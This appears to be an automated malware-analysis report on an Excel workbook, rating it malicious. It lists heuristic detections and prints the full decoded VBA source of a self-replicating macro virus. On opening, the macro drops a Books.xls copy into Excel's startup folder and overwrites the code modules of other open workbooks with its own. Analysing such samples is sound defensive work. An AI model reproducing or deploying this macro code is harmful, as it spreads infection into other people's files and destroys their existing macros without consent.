MALICIOUS
88
Risk Score
Heuristics 3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.CodeModule.DeleteLines 1, .CodeModule.CountOfLines -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2662 bytes |
SHA-256: 4d61c6cf093e517d404fb366db3f366a64dec2d1ff88b527c40d6e5a92ecc24f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const Sn = "Books.xls"
Sub CreatSelf(r As String)
On Error Resume Next
Application.DisplayAlerts = False
LookAdd
Application.ActiveWorkbook.SaveAs r
Application.DisplayAlerts = True
On Error GoTo 0
End Sub
Private Sub Workbook_NewSheet(ByVal Sh As Object)
End Sub
Private Sub Workbook_Open()
On Error Resume Next
Application.ScreenUpdating = False
r = Application.StartupPath & "\" & Sn
s = Application.Workbooks(Sn).Name
If s = "" Then
cf = ActiveWorkbook.Name
Application.Workbooks.Add
CreatSelf (r)
Workbooks(cf).Activate
End If
Application.ScreenUpdating = True
On Error GoTo 0
End Sub
Function LookAdd() As Boolean
On Error Resume Next
If ThisWorkbook.Name = ActiveWorkbook.Name Then GoTo NoAdd
With ActiveWorkbook.VBProject.VBComponents("ThisWorkbook")
s = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines
m = .CodeModule.CountOfLines
If m >= s Then GoTo NoAdd
Do While .CodeModule.CountOfLines > 0
.CodeModule.DeleteLines 1, .CodeModule.CountOfLines
Loop
For i = 1 To s
sl = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Lines(i, 1)
.CodeModule.InsertLines i, sl
Next i
ap = ActiveWorkbook.Path
If ap <> "" Then ActiveWorkbook.Save
End With
YesAdd:
LookAdd = True
On Error GoTo 0
Exit Function
NoAdd:
LookAdd = False
On Error GoTo 0
End Function
Attribute VB_Name = "List1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "List2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "List3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.